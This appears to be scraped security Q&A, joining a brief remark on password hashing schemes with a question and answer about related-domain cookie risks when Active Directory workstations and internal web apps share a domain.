With real live hash functions there might be differences on the position of the input (like, there are extension attacks).

But then, you usually want to use some special password hashing scheme like PBKDF-2, bcrypt or scrypt, and these are already made with three inputs, one being the password and the other one the salt (the third one the work factor). Simply use them as they were meant to be used.


Active Directory: Should Workstations be separated from servers to protect from related domain hacks? How should I protect domain joined hosts in the same AD domain from the Related Domain Cookie Attack?

Suppose there is an AD forest called example.com.  This company has a variety of internal and external web applications:

store.example.com (customer facing)
partnerPortal.example.com (internal/partner facing)
payroll.example.com (internally facing)

The forest also has workstations on the same domain  workstation001.example.com ... etc.

Since this answer describes how easy it is to alter cookies, I think this is an opportunity for a confused deputy issue, where the authority granted is the DNS name granted to the computer.

Would it be a security risk to have end users and servers under the same shared domain?  Keep in mind that most AD deployments fall into one of these configurations:

Forest/Domain Name     External DNS Name       Vulnerable to Related Domain Attack
Contoso.com            Contoso.com             Yes
AD.Contoso.com         Contoso.com             Yes
Contoso.Local          Contoso.com             No

What is the best way to mitigate this?

I don't think this has anything to do with Active Directory.  It is a question about internal web applications.

Yes, I imagine there is some security benefit to placing the internal apps on totally separate domains.  However, this may be annoying from a usability perspective (it may be more convenient for your users to have all the services under a single easy-to-remember domain name), and I'm not convinced that the usability hit is worth it, given that the security risks are probably modest.  In terms of resistance to internal attacks, I suspect at most sites there will be other more effective ways to harden yourself against internal/insider attacks.  But that's something you'll have to evaluate for yourself; it is a risk management exercise.

I don't know if there are better ways to mitigate the risk while maintaining the same domain name structure.  There may be ways to implement the critical webapps (e.g., payroll.example.com) in a way that limits the impact of those kind of attacks, but I just don't know what ways those might be, alas.  Sorry about that.